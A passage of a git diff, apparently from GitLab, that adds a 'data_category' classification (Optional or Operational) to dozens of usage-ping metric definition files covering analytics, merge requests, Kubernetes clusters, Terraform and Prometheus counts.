index 2e5883b6fbf..b0cb18358ca 100644
--- a/config/metrics/counts_all/20210216174858_i_analytics_cohorts.yml
+++ b/config/metrics/counts_all/20210216174858_i_analytics_cohorts.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: analytics_unique_visits.i_analytics_cohorts
description: Unique visitors to /-/instance_statistics/cohorts
product_section: dev
diff --git a/config/metrics/counts_all/20210216174900_i_analytics_dev_ops_score.yml b/config/metrics/counts_all/20210216174900_i_analytics_dev_ops_score.yml
index 7596572eaf1..a6dfe768e20 100644
--- a/config/metrics/counts_all/20210216174900_i_analytics_dev_ops_score.yml
+++ b/config/metrics/counts_all/20210216174900_i_analytics_dev_ops_score.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: analytics_unique_visits.i_analytics_dev_ops_score
description: Unique visitors to /-/instance_statistics/dev_ops_score
product_section: dev
diff --git a/config/metrics/counts_all/20210216174902_g_analytics_merge_request.yml b/config/metrics/counts_all/20210216174902_g_analytics_merge_request.yml
index bbd3bfca2b2..5fd57bdb019 100644
--- a/config/metrics/counts_all/20210216174902_g_analytics_merge_request.yml
+++ b/config/metrics/counts_all/20210216174902_g_analytics_merge_request.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: analytics_unique_visits.g_analytics_merge_request
description: Unique visitors to /groups/:group/-/analytics/merge_request_analytics
product_section: dev
diff --git a/config/metrics/counts_all/20210216174906_i_analytics_instance_statistics.yml b/config/metrics/counts_all/20210216174906_i_analytics_instance_statistics.yml
index 08e89517b8d..6b92fa1aa1e 100644
--- a/config/metrics/counts_all/20210216174906_i_analytics_instance_statistics.yml
+++ b/config/metrics/counts_all/20210216174906_i_analytics_instance_statistics.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: analytics_unique_visits.i_analytics_instance_statistics
description: Unique visitors to/admin/usage_trends
product_section: dev
diff --git a/config/metrics/counts_all/20210216174908_analytics_unique_visits_for_any_target.yml b/config/metrics/counts_all/20210216174908_analytics_unique_visits_for_any_target.yml
index cc0a21b1cb3..c2c41f00269 100644
--- a/config/metrics/counts_all/20210216174908_analytics_unique_visits_for_any_target.yml
+++ b/config/metrics/counts_all/20210216174908_analytics_unique_visits_for_any_target.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: analytics_unique_visits.analytics_unique_visits_for_any_target
description: Unique visitors to any analytics feature by week
product_section: dev
diff --git a/config/metrics/counts_all/20210216175019_projects_with_prometheus_alerts.yml b/config/metrics/counts_all/20210216175019_projects_with_prometheus_alerts.yml
index 9f778fb4324..519149b839e 100644
--- a/config/metrics/counts_all/20210216175019_projects_with_prometheus_alerts.yml
+++ b/config/metrics/counts_all/20210216175019_projects_with_prometheus_alerts.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_with_prometheus_alerts
description: Projects with Prometheus alerting enabled
product_section: ops
diff --git a/config/metrics/counts_all/20210216175021_pod_logs_usages_total.yml b/config/metrics/counts_all/20210216175021_pod_logs_usages_total.yml
index d0bfba1cae2..503eff4de83 100644
--- a/config/metrics/counts_all/20210216175021_pod_logs_usages_total.yml
+++ b/config/metrics/counts_all/20210216175021_pod_logs_usages_total.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.pod_logs_usages_total
description: Count the total number of log views
product_section: ops
diff --git a/config/metrics/counts_all/20210216175024_service_desk_enabled_projects.yml b/config/metrics/counts_all/20210216175024_service_desk_enabled_projects.yml
index e9a534911bb..87a2a8517c5 100644
--- a/config/metrics/counts_all/20210216175024_service_desk_enabled_projects.yml
+++ b/config/metrics/counts_all/20210216175024_service_desk_enabled_projects.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.service_desk_enabled_projects
description: Count of service desk enabled projects
product_section: dev
diff --git a/config/metrics/counts_all/20210216175026_service_desk_issues.yml b/config/metrics/counts_all/20210216175026_service_desk_issues.yml
index 299fbfa3b7f..769d817c5df 100644
--- a/config/metrics/counts_all/20210216175026_service_desk_issues.yml
+++ b/config/metrics/counts_all/20210216175026_service_desk_issues.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.service_desk_issues
description: Count of service desk issues
product_section: dev
diff --git a/config/metrics/counts_all/20210216175037_suggestions.yml b/config/metrics/counts_all/20210216175037_suggestions.yml
index cfe0b3e361e..34c62fbadc5 100644
--- a/config/metrics/counts_all/20210216175037_suggestions.yml
+++ b/config/metrics/counts_all/20210216175037_suggestions.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.suggestions
description: Count of all comments that contain suggested changes
product_section: dev
diff --git a/config/metrics/counts_all/20210216175039_merge_requests.yml b/config/metrics/counts_all/20210216175039_merge_requests.yml
index b3514e64df8..3f4d9c4a09e 100644
--- a/config/metrics/counts_all/20210216175039_merge_requests.yml
+++ b/config/metrics/counts_all/20210216175039_merge_requests.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.merge_requests
description: Count of the number of merge requests
product_section: dev
diff --git a/config/metrics/counts_all/20210216175041_merge_request_comment.yml b/config/metrics/counts_all/20210216175041_merge_request_comment.yml
index b53fbb14ffc..7dd45570b1b 100644
--- a/config/metrics/counts_all/20210216175041_merge_request_comment.yml
+++ b/config/metrics/counts_all/20210216175041_merge_request_comment.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.merge_request_comment
description: Count of the number of merge request comments
product_section: dev
diff --git a/config/metrics/counts_all/20210216175043_merge_request_create.yml b/config/metrics/counts_all/20210216175043_merge_request_create.yml
index 38d1d72339b..ca9d632f7fb 100644
--- a/config/metrics/counts_all/20210216175043_merge_request_create.yml
+++ b/config/metrics/counts_all/20210216175043_merge_request_create.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.merge_request_create
description: Count of the number of merge requests created
product_section: dev
diff --git a/config/metrics/counts_all/20210216175045_merge_requests.yml b/config/metrics/counts_all/20210216175045_merge_requests.yml
index 51715e14584..4fe94585cb5 100644
--- a/config/metrics/counts_all/20210216175045_merge_requests.yml
+++ b/config/metrics/counts_all/20210216175045_merge_requests.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.create.merge_requests
description: Count of the number of users creating merge requests
product_section: dev
diff --git a/config/metrics/counts_all/20210216175053_suggestions.yml b/config/metrics/counts_all/20210216175053_suggestions.yml
index 507200a0ac8..eecdbbce928 100644
--- a/config/metrics/counts_all/20210216175053_suggestions.yml
+++ b/config/metrics/counts_all/20210216175053_suggestions.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.create.suggestions
description: Count of unique users who create suggestions in merge request comments
product_section: dev
diff --git a/config/metrics/counts_all/20210216175206_merged_merge_requests_using_approval_rules.yml b/config/metrics/counts_all/20210216175206_merged_merge_requests_using_approval_rules.yml
index e0c55e89f30..051271c0ef7 100644
--- a/config/metrics/counts_all/20210216175206_merged_merge_requests_using_approval_rules.yml
+++ b/config/metrics/counts_all/20210216175206_merged_merge_requests_using_approval_rules.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.merged_merge_requests_using_approval_rules
description: Count of merge requests merged using approval rules
product_section: dev
diff --git a/config/metrics/counts_all/20210216175229_auto_devops_enabled.yml b/config/metrics/counts_all/20210216175229_auto_devops_enabled.yml
index 8149967d22e..996ea2eb758 100644
--- a/config/metrics/counts_all/20210216175229_auto_devops_enabled.yml
+++ b/config/metrics/counts_all/20210216175229_auto_devops_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.auto_devops_enabled
description: Projects with Auto DevOps template enabled (excluding implicit Auto DevOps enabled and Auto DevOps template includes)
product_section: ops
diff --git a/config/metrics/counts_all/20210216175231_auto_devops_disabled.yml b/config/metrics/counts_all/20210216175231_auto_devops_disabled.yml
index 863ea73cbee..ec14d9fb136 100644
--- a/config/metrics/counts_all/20210216175231_auto_devops_disabled.yml
+++ b/config/metrics/counts_all/20210216175231_auto_devops_disabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.auto_devops_disabled
description: Projects with Auto DevOps template disabled
product_section: ops
diff --git a/config/metrics/counts_all/20210216175232_clusters.yml b/config/metrics/counts_all/20210216175232_clusters.yml
index 2d3689a0e8b..ad0ac652f38 100644
--- a/config/metrics/counts_all/20210216175232_clusters.yml
+++ b/config/metrics/counts_all/20210216175232_clusters.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.clusters
description: Total GitLab Managed clusters both enabled and disabled
product_section: ops
diff --git a/config/metrics/counts_all/20210216175234_clusters_enabled.yml b/config/metrics/counts_all/20210216175234_clusters_enabled.yml
index 58db69494d6..ce24bd621f0 100644
--- a/config/metrics/counts_all/20210216175234_clusters_enabled.yml
+++ b/config/metrics/counts_all/20210216175234_clusters_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.clusters_enabled
description: Number of Kubernetes clusters attached to GitLab currently enabled
product_section: ops
diff --git a/config/metrics/counts_all/20210216175236_project_clusters_enabled.yml b/config/metrics/counts_all/20210216175236_project_clusters_enabled.yml
index 3e4d16b313e..0ed0d6cf750 100644
--- a/config/metrics/counts_all/20210216175236_project_clusters_enabled.yml
+++ b/config/metrics/counts_all/20210216175236_project_clusters_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.project_clusters_enabled
description: Total GitLab Managed clusters attached to projects
product_section: ops
diff --git a/config/metrics/counts_all/20210216175238_group_clusters_enabled.yml b/config/metrics/counts_all/20210216175238_group_clusters_enabled.yml
index ccb13f9cbd0..5012ead035b 100644
--- a/config/metrics/counts_all/20210216175238_group_clusters_enabled.yml
+++ b/config/metrics/counts_all/20210216175238_group_clusters_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.group_clusters_enabled
description: Total GitLab Managed clusters attached to groups
product_section: ops
diff --git a/config/metrics/counts_all/20210216175240_instance_clusters_enabled.yml b/config/metrics/counts_all/20210216175240_instance_clusters_enabled.yml
index d73499479b1..f7bca6e41e3 100644
--- a/config/metrics/counts_all/20210216175240_instance_clusters_enabled.yml
+++ b/config/metrics/counts_all/20210216175240_instance_clusters_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instance_clusters_enabled
description: Total GitLab Managed clusters attached to the instance
product_section: ops
diff --git a/config/metrics/counts_all/20210216175242_clusters_disabled.yml b/config/metrics/counts_all/20210216175242_clusters_disabled.yml
index 1226218d7dd..c565d98e49a 100644
--- a/config/metrics/counts_all/20210216175242_clusters_disabled.yml
+++ b/config/metrics/counts_all/20210216175242_clusters_disabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.clusters_disabled
description: Number of Kubernetes clusters attached to GitLab currently disabled
product_section: ops
diff --git a/config/metrics/counts_all/20210216175244_project_clusters_disabled.yml b/config/metrics/counts_all/20210216175244_project_clusters_disabled.yml
index 6d83aa114c5..287bdca078b 100644
--- a/config/metrics/counts_all/20210216175244_project_clusters_disabled.yml
+++ b/config/metrics/counts_all/20210216175244_project_clusters_disabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.project_clusters_disabled
description: Total GitLab Managed disabled clusters previously attached to projects
product_section: ops
diff --git a/config/metrics/counts_all/20210216175246_group_clusters_disabled.yml b/config/metrics/counts_all/20210216175246_group_clusters_disabled.yml
index 696c3ef7703..68b61ff5b46 100644
--- a/config/metrics/counts_all/20210216175246_group_clusters_disabled.yml
+++ b/config/metrics/counts_all/20210216175246_group_clusters_disabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.group_clusters_disabled
description: Total GitLab Managed disabled clusters previously attached to groups
product_section: ops
diff --git a/config/metrics/counts_all/20210216175248_instance_clusters_disabled.yml b/config/metrics/counts_all/20210216175248_instance_clusters_disabled.yml
index f138e81e8a1..073850f5463 100644
--- a/config/metrics/counts_all/20210216175248_instance_clusters_disabled.yml
+++ b/config/metrics/counts_all/20210216175248_instance_clusters_disabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instance_clusters_disabled
description: Total GitLab Managed disabled clusters previously attached to the instance
product_section: ops
diff --git a/config/metrics/counts_all/20210216175250_clusters_platforms_eks.yml b/config/metrics/counts_all/20210216175250_clusters_platforms_eks.yml
index 3a876aace23..4fca68d6f71 100644
--- a/config/metrics/counts_all/20210216175250_clusters_platforms_eks.yml
+++ b/config/metrics/counts_all/20210216175250_clusters_platforms_eks.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.clusters_platforms_eks
description: Total GitLab Managed clusters provisioned with GitLab on AWS EKS
product_section: ops
diff --git a/config/metrics/counts_all/20210216175251_clusters_platforms_gke.yml b/config/metrics/counts_all/20210216175251_clusters_platforms_gke.yml
index 6c0d06f67a8..4d8427593a1 100644
--- a/config/metrics/counts_all/20210216175251_clusters_platforms_gke.yml
+++ b/config/metrics/counts_all/20210216175251_clusters_platforms_gke.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.clusters_platforms_gke
description: Total GitLab Managed clusters provisioned with GitLab on GCE GKE
product_section: ops
diff --git a/config/metrics/counts_all/20210216175253_clusters_platforms_user.yml b/config/metrics/counts_all/20210216175253_clusters_platforms_user.yml
index c0ec787ba32..fe7c132d82f 100644
--- a/config/metrics/counts_all/20210216175253_clusters_platforms_user.yml
+++ b/config/metrics/counts_all/20210216175253_clusters_platforms_user.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.clusters_platforms_user
description: Total GitLab Managed clusters that are user provisioned
product_section: ops
diff --git a/config/metrics/counts_all/20210216175255_clusters_applications_helm.yml b/config/metrics/counts_all/20210216175255_clusters_applications_helm.yml
index df3791476a6..1e3a96d3152 100644
--- a/config/metrics/counts_all/20210216175255_clusters_applications_helm.yml
+++ b/config/metrics/counts_all/20210216175255_clusters_applications_helm.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.clusters_applications_helm
description: Total GitLab Managed clusters with GitLab Managed App:Helm enabled
product_section: ops
diff --git a/config/metrics/counts_all/20210216175257_clusters_applications_ingress.yml b/config/metrics/counts_all/20210216175257_clusters_applications_ingress.yml
index 312b3a0959a..0651d1f90a8 100644
--- a/config/metrics/counts_all/20210216175257_clusters_applications_ingress.yml
+++ b/config/metrics/counts_all/20210216175257_clusters_applications_ingress.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.clusters_applications_ingress
description: Total GitLab Managed clusters with GitLab Managed App:Ingress installed
product_section: ops
diff --git a/config/metrics/counts_all/20210216175259_clusters_applications_cert_managers.yml b/config/metrics/counts_all/20210216175259_clusters_applications_cert_managers.yml
index 2850bf19272..b86d5852c7b 100644
--- a/config/metrics/counts_all/20210216175259_clusters_applications_cert_managers.yml
+++ b/config/metrics/counts_all/20210216175259_clusters_applications_cert_managers.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.clusters_applications_cert_managers
description: Total GitLab Managed clusters with GitLab Managed App:Cert Manager installed
product_section: ops
diff --git a/config/metrics/counts_all/20210216175301_clusters_applications_crossplane.yml b/config/metrics/counts_all/20210216175301_clusters_applications_crossplane.yml
index 9a51decb60e..1dea299b5ff 100644
--- a/config/metrics/counts_all/20210216175301_clusters_applications_crossplane.yml
+++ b/config/metrics/counts_all/20210216175301_clusters_applications_crossplane.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.clusters_applications_crossplane
description: Total GitLab Managed clusters with GitLab Managed App:Crossplane installed
product_section: ops
diff --git a/config/metrics/counts_all/20210216175303_clusters_applications_prometheus.yml b/config/metrics/counts_all/20210216175303_clusters_applications_prometheus.yml
index 11acda094ea..808540ba88f 100644
--- a/config/metrics/counts_all/20210216175303_clusters_applications_prometheus.yml
+++ b/config/metrics/counts_all/20210216175303_clusters_applications_prometheus.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.clusters_applications_prometheus
description: Total GitLab Managed clusters with GitLab Managed App:Prometheus installed
product_section: ops
diff --git a/config/metrics/counts_all/20210216175305_clusters_applications_runner.yml b/config/metrics/counts_all/20210216175305_clusters_applications_runner.yml
index a8ba5b65187..34e28262f76 100644
--- a/config/metrics/counts_all/20210216175305_clusters_applications_runner.yml
+++ b/config/metrics/counts_all/20210216175305_clusters_applications_runner.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.clusters_applications_runner
description: Total GitLab Managed clusters with GitLab Managed App:Runner installed
product_section: ops
diff --git a/config/metrics/counts_all/20210216175307_clusters_applications_knative.yml b/config/metrics/counts_all/20210216175307_clusters_applications_knative.yml
index b8fb5c94cef..42b16eacd6e 100644
--- a/config/metrics/counts_all/20210216175307_clusters_applications_knative.yml
+++ b/config/metrics/counts_all/20210216175307_clusters_applications_knative.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.clusters_applications_knative
description: Total GitLab Managed clusters with GitLab Managed App:Knative installed
product_section: ops
diff --git a/config/metrics/counts_all/20210216175309_clusters_applications_elastic_stack.yml b/config/metrics/counts_all/20210216175309_clusters_applications_elastic_stack.yml
index 547631db2f1..b1ef839ac43 100644
--- a/config/metrics/counts_all/20210216175309_clusters_applications_elastic_stack.yml
+++ b/config/metrics/counts_all/20210216175309_clusters_applications_elastic_stack.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.clusters_applications_elastic_stack
description: Total GitLab Managed clusters with GitLab Managed App:Elastic Stack installed
product_section: ops
diff --git a/config/metrics/counts_all/20210216175310_clusters_applications_jupyter.yml b/config/metrics/counts_all/20210216175310_clusters_applications_jupyter.yml
index c7c7f8c9adb..392d44e6553 100644
--- a/config/metrics/counts_all/20210216175310_clusters_applications_jupyter.yml
+++ b/config/metrics/counts_all/20210216175310_clusters_applications_jupyter.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.clusters_applications_jupyter
description: Total GitLab Managed clusters with GitLab Managed App:Jupyter installed
product_section: ops
diff --git a/config/metrics/counts_all/20210216175312_clusters_applications_cilium.yml b/config/metrics/counts_all/20210216175312_clusters_applications_cilium.yml
index fc86315d645..5cdc7474bf5 100644
--- a/config/metrics/counts_all/20210216175312_clusters_applications_cilium.yml
+++ b/config/metrics/counts_all/20210216175312_clusters_applications_cilium.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.clusters_applications_cilium
description: Total GitLab Managed clusters with GitLab Managed App:Cilium installed
product_section: ops
diff --git a/config/metrics/counts_all/20210216175314_clusters_management_project.yml b/config/metrics/counts_all/20210216175314_clusters_management_project.yml
index 38e3c790cec..6c0ea2d0c58 100644
--- a/config/metrics/counts_all/20210216175314_clusters_management_project.yml
+++ b/config/metrics/counts_all/20210216175314_clusters_management_project.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.clusters_management_project
description: Total GitLab Managed clusters with defined cluster management project
product_section: ops
diff --git a/config/metrics/counts_all/20210216175320_projects_with_terraform_reports.yml b/config/metrics/counts_all/20210216175320_projects_with_terraform_reports.yml
index 00810d99086..07322a58d15 100644
--- a/config/metrics/counts_all/20210216175320_projects_with_terraform_reports.yml
+++ b/config/metrics/counts_all/20210216175320_projects_with_terraform_reports.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.projects_with_terraform_reports
description: Count of projects with Terraform MR reports
product_section: ops
diff --git a/config/metrics/counts_all/20210216175322_projects_with_terraform_states.yml b/config/metrics/counts_all/20210216175322_projects_with_terraform_states.yml
index 905c78f88df..be0275883a8 100644
--- a/config/metrics/counts_all/20210216175322_projects_with_terraform_states.yml
+++ b/config/metrics/counts_all/20210216175322_projects_with_terraform_states.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.projects_with_terraform_states
description: Count of projects with GitLab Managed Terraform State
product_section: ops
diff --git a/config/metrics/counts_all/20210216175324_terraform_reports.yml b/config/metrics/counts_all/20210216175324_terraform_reports.yml
index 7bb3b409fbb..8f242395e68 100644
--- a/config/metrics/counts_all/20210216175324_terraform_reports.yml
+++ b/config/metrics/counts_all/20210216175324_terraform_reports.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.terraform_reports
description: Count of Terraform MR reports generated
product_section: ops
diff --git a/config/metrics/counts_all/20210216175326_terraform_states.yml b/config/metrics/counts_all/20210216175326_terraform_states.yml
index 92f89b8a325..2bb13be07c5 100644
--- a/config/metrics/counts_all/20210216175326_terraform_states.yml
+++ b/config/metrics/counts_all/20210216175326_terraform_states.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.terraform_states
description: Count of GitLab Managed Terraform States
product_section: ops
diff --git a/config/metrics/counts_all/20210216175329_clusters_applications_cert_managers.yml b/config/metrics/counts_all/20210216175329_clusters_applications_cert_managers.yml
index c6057167283..ce9a919460a 100644
--- a/config/metrics/counts_all/20210216175329_clusters_applications_cert_managers.yml
+++ b/config/metrics/counts_all/20210216175329_clusters_applications_cert_managers.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.configure.clusters_applications_cert_managers
description: Total GitLab Managed clusters with GitLab Managed App:Cert Manager installed
product_section: ops
diff --git a/config/metrics/counts_all/20210216175331_clusters_applications_helm.yml b/config/metrics/counts_all/20210216175331_clusters_applications_helm.yml
index 3f7814f7fea..46301cbf2f3 100644
--- a/config/metrics/counts_all/20210216175331_clusters_applications_helm.yml
+++ b/config/metrics/counts_all/20210216175331_clusters_applications_helm.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.configure.clusters_applications_helm
description: Total GitLab Managed clusters with GitLab Managed App:Helm enabled
product_section: ops
diff --git a/config/metrics/counts_all/20210216175333_clusters_applications_ingress.yml b/config/metrics/counts_all/20210216175333_clusters_applications_ingress.yml
index fd0cd902e8c..89eb556a996 100644
--- a/config/metrics/counts_all/20210216175333_clusters_applications_ingress.yml
+++ b/config/metrics/counts_all/20210216175333_clusters_applications_ingress.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.configure.clusters_applications_ingress
description: Total GitLab Managed clusters with GitLab Managed App:Ingress installed
product_section: ops
diff --git a/config/metrics/counts_all/20210216175335_clusters_applications_knative.yml b/config/metrics/counts_all/20210216175335_clusters_applications_knative.yml
index 8774a62b475..a7101c89a2c 100644
--- a/config/metrics/counts_all/20210216175335_clusters_applications_knative.yml
+++ b/config/metrics/counts_all/20210216175335_clusters_applications_knative.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.configure.clusters_applications_knative
description: Total GitLab Managed clusters with GitLab Managed App:Knative installed
product_section: ops
diff --git a/config/metrics/counts_all/20210216175337_clusters_management_project.yml b/config/metrics/counts_all/20210216175337_clusters_management_project.yml
index ada40d5fcfa..d32374df6a8 100644
--- a/config/metrics/counts_all/20210216175337_clusters_management_project.yml
+++ b/config/metrics/counts_all/20210216175337_clusters_management_project.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.configure.clusters_management_project
description: Total GitLab Managed clusters with defined cluster management project
product_section: ops
diff --git a/config/metrics/counts_all/20210216175339_clusters_disabled.yml b/config/metrics/counts_all/20210216175339_clusters_disabled.yml
index 35e94edf509..7547ea1c8ed 100644
--- a/config/metrics/counts_all/20210216175339_clusters_disabled.yml
+++ b/config/metrics/counts_all/20210216175339_clusters_disabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.configure.clusters_disabled
description: Total GitLab Managed disabled clusters
product_section: ops
diff --git a/config/metrics/counts_all/20210216175341_clusters_enabled.yml b/config/metrics/counts_all/20210216175341_clusters_enabled.yml
index c2a921eeb2b..77ffd392775 100644
--- a/config/metrics/counts_all/20210216175341_clusters_enabled.yml
+++ b/config/metrics/counts_all/20210216175341_clusters_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.configure.clusters_enabled
description: Total GitLab Managed clusters currently enabled
product_section: ops
diff --git a/config/metrics/counts_all/20210216175343_clusters_platforms_gke.yml b/config/metrics/counts_all/20210216175343_clusters_platforms_gke.yml
index ab180d2102d..833ca0494db 100644
--- a/config/metrics/counts_all/20210216175343_clusters_platforms_gke.yml
+++ b/config/metrics/counts_all/20210216175343_clusters_platforms_gke.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.configure.clusters_platforms_gke
description: Total GitLab Managed clusters provisioned with GitLab on GCE GKE
product_section: ops
diff --git a/config/metrics/counts_all/20210216175345_clusters_platforms_eks.yml b/config/metrics/counts_all/20210216175345_clusters_platforms_eks.yml
index 354cacc46a9..c25be58930f 100644
--- a/config/metrics/counts_all/20210216175345_clusters_platforms_eks.yml
+++ b/config/metrics/counts_all/20210216175345_clusters_platforms_eks.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.configure.clusters_platforms_eks
description: Total GitLab Managed clusters provisioned with GitLab on AWS EKS
product_section: ops
diff --git a/config/metrics/counts_all/20210216175346_clusters_platforms_user.yml b/config/metrics/counts_all/20210216175346_clusters_platforms_user.yml
index 2c5386ad7b5..cc0f4efad56 100644
--- a/config/metrics/counts_all/20210216175346_clusters_platforms_user.yml
+++ b/config/metrics/counts_all/20210216175346_clusters_platforms_user.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.configure.clusters_platforms_user
description: Total GitLab Managed clusters that are user provisioned
product_section: ops
diff --git a/config/metrics/counts_all/20210216175348_instance_clusters_disabled.yml b/config/metrics/counts_all/20210216175348_instance_clusters_disabled.yml
index 6b215140597..d90a85a149d 100644
--- a/config/metrics/counts_all/20210216175348_instance_clusters_disabled.yml
+++ b/config/metrics/counts_all/20210216175348_instance_clusters_disabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.configure.instance_clusters_disabled
description: Total GitLab Managed disabled clusters attached to the instance
product_section: ops
diff --git a/config/metrics/counts_all/20210216175350_instance_clusters_enabled.yml b/config/metrics/counts_all/20210216175350_instance_clusters_enabled.yml
index 3b43c90e061..e038d6980a3 100644
--- a/config/metrics/counts_all/20210216175350_instance_clusters_enabled.yml
+++ b/config/metrics/counts_all/20210216175350_instance_clusters_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.configure.instance_clusters_enabled
description: Total GitLab Managed enabled clusters attached to the instance
product_section: ops
diff --git a/config/metrics/counts_all/20210216175352_group_clusters_disabled.yml b/config/metrics/counts_all/20210216175352_group_clusters_disabled.yml
index 7ee008a09bc..4aa9989d950 100644
--- a/config/metrics/counts_all/20210216175352_group_clusters_disabled.yml
+++ b/config/metrics/counts_all/20210216175352_group_clusters_disabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.configure.group_clusters_disabled
description: Total GitLab Managed disabled clusters attached to groups
product_section: ops
diff --git a/config/metrics/counts_all/20210216175354_group_clusters_enabled.yml b/config/metrics/counts_all/20210216175354_group_clusters_enabled.yml
index 8a251f40347..d953b58a6e0 100644
--- a/config/metrics/counts_all/20210216175354_group_clusters_enabled.yml
+++ b/config/metrics/counts_all/20210216175354_group_clusters_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.configure.group_clusters_enabled
description: Total GitLab Managed enabled clusters attached to groups
product_section: ops
diff --git a/config/metrics/counts_all/20210216175356_project_clusters_disabled.yml b/config/metrics/counts_all/20210216175356_project_clusters_disabled.yml
index 3dcecf724d2..85334120c78 100644
--- a/config/metrics/counts_all/20210216175356_project_clusters_disabled.yml
+++ b/config/metrics/counts_all/20210216175356_project_clusters_disabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.configure.project_clusters_disabled
description: Total GitLab Managed disabled clusters attached to projects
product_section: ops
diff --git a/config/metrics/counts_all/20210216175358_project_clusters_enabled.yml b/config/metrics/counts_all/20210216175358_project_clusters_enabled.yml
index 4fec74ce9fa..c94c1f8cbd8 100644
--- a/config/metrics/counts_all/20210216175358_project_clusters_enabled.yml
+++ b/config/metrics/counts_all/20210216175358_project_clusters_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.configure.project_clusters_enabled
description: Total GitLab Managed enabled clusters attached to projects
product_section: ops
diff --git a/config/metrics/counts_all/20210216175403_projects_with_prometheus_alerts.yml b/config/metrics/counts_all/20210216175403_projects_with_prometheus_alerts.yml
index 0edd5cf3bbc..e09bf71d2cf 100644
--- a/config/metrics/counts_all/20210216175403_projects_with_prometheus_alerts.yml
+++ b/config/metrics/counts_all/20210216175403_projects_with_prometheus_alerts.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.configure.projects_with_prometheus_alerts
description: Projects with Prometheus alerting enabled
product_section: ops
diff --git a/config/metrics/counts_all/20210216175442_ingress_modsecurity_packets_processed.yml b/config/metrics/counts_all/20210216175442_ingress_modsecurity_packets_processed.yml
index a5607b54d05..c66cd726b7a 100644
--- a/config/metrics/counts_all/20210216175442_ingress_modsecurity_packets_processed.yml
+++ b/config/metrics/counts_all/20210216175442_ingress_modsecurity_packets_processed.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.ingress_modsecurity_packets_processed
description: Cumulative count of packets processed by ModSecurity since Usage Ping
was last reported
